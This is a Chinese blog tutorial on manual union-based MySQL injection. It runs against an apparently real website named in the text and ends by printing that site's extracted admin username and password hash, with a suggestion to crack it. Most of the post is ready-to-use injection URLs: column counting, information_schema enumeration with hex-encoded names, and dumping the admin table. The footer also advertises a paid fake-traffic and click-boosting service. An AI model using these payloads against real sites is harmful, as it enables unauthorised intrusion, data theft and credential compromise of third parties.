Mysql手工注入实例 详细教程

MySQL是一个关系型数据库管理系统,PHP+MySQL组合的网站可以说占了互联网很大一部份,虽然说很多人可能也用过一些SQL注入工具测试过,例如:Sqlmap。

但是,如果不了解Mysql手工注入及其原理,你就像永远长不大的孩子一样。

 

一、数据库结构

Msyql数据库和我们前面讲的ACCESS还是有所不同的。两者具体区别如下:

 

Mysql数据库结构如下:

mysql数据库 -> A数据库 -> 表名 -> 列名 -> 数据

mysql数据库 -> B数据库 -> 表名 -> 列名 -> 数据

 

Access数据库结构如下:

access数据库 -> 表名 -> 列名 -> 数据

 

二、Mysql注入实战

由于数据库结构的不同,因此,Mysql注入手法也就有所不同;我们以下面这个网址来做实战:

www.wfiaser.com/product_show.php?id=21

mysql手工注入

 

1、判断是否存在注入?and 1=1 和 and 1=2 或 单引号;

www.wfiaser.com/product_show.php?id=21 and 1=1  (返回正常)

www.wfiaser.com/product_show.php?id=21 and 1=2  (返回错误)

www.wfiaser.com/product_show.php?id=21' (返回错误)

从这里可以得到一个结果:存在注入。

 

2、查询当前页面连接的列名个数: order by

www.wfiaser.com/product_show.php?id=21 order by 1  (返回正常)

www.wfiaser.com/product_show.php?id=21 order by 10 (返回正常)

www.wfiaser.com/product_show.php?id=21 order by 30 (返回错误)

www.wfiaser.com/product_show.php?id=21 order by 28 (返回错误)

www.wfiaser.com/product_show.php?id=21 order by 27 (返回正常)

从这里可以得到,当前页面对应表的列名个数是27;

 

3、爆出显位:union

这里爆显位可用联合查询来实现,我们可以用一个火狐或谷歌浏览器有一款hackbar插件,可以帮我们解决手工注入问题。

hackbar插件

 

http://www.wfiaser.com/product_show.php?id=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

没有报错。

 

由于上面没有报错,因此显位爆露不出来,我们让它报错,如下:

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

可算报错了,得到了显位2、4和显位6;

 

4、查询参数:主要查数据库名;

User() 查询当前数据库用户

Version() 查询当前数据库版本

Database() 查询当前页面所连接的数据库名称

@@Version_compile_os 查询服务器的系统版本

 

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,User(),3,Version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,Database(),3,@@Version_compile_os,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

从这里可以轻松得到当前数据库用户、当数据库版本、当前页面所连接的数据库名称“sq_wqyh150528”等。

 

5、查表名

Mysql数据库中有一个 information_schema 数据库,里面存放了mysql 下所有数据库中的列名和表名信息。就不用像Access数据库那样去猜,有时候还猜不到。

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables where table_schema=sq_wqyh150528

 

注意:这里需要把数据库名称“sq_wqyh150528”做一个16进制编码。可以用小葵多功能转换工具

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.tables where table_schema=73715F77717968313530353238

从这里,可以得到“sq_wqyh150528”数据库里面有很多张表,例如:admin,articles,config_navs,contact等等表。

 

6、查列名

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from information_schema.columns where table_name=admin

注意,这里的表“admin"也要做一个16进制编码,我这就不转了,为了让大家看清楚。

 

在这里,我们可以得到以下列名,例如:id,name,adminpass,groupid,content等其它列名。

 

7、查数据

mysql查数据有点类似于access的联合查询法查数据。

http://www.wfiaser.com/product_show.php?id=-21 UNION SELECT 1,name,3,adminpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 from admin

得到了:

用户名:admin

密码:17433b011807e2db950737747752349

 

很明显,密码是加密过的,然后需要破解,例如:md5破解;

    A+
发布日期:2019年07月21日 21:45:36  所属分类:渗透测试
最后更新时间:2019-07-22 00:09:47
评分: (1 票;平均数5.00 ;最高评分 5 ;用户总数1;总得分 5;百分比100.00)
头像
PHP运行环境 wamp lamp lnmp 安装 配置 搭建服务
PHP运行环境 wamp lamp lnmp 安装 配置 搭建服务
  • ¥ 9.9元
  • 市场价:49.9元
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
刷流量、刷人气、刷点击、刷收藏、刷APP关键词服务
  • ¥ 1.0元
  • 市场价:9.9元
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
免费SSL证书服务 HTTPS申请 安装 配置 支持通配符*
  • ¥ 199.9元
  • 市场价:20000元
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
SEO顾问服务 中小型网站 单站/最低99.9元 全方位优化
  • ¥ 99.9元
  • 市场价:5000元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:1   其中:访客  1   博主  0

  1. 头像 敦春凡 0

    我在cmd命令窗口,进入mysql后,得这样查询才有效果,要输入双引号或单引号:
    1、得到某数据库所有的表名

    mysql> select group_concat(table_name) from information_schema.tables where table_schema=”dvwa”;

    2、得到某表名的所有的列名

    mysql> select group_concat(column_name) from information_schema.columns where table_name="users";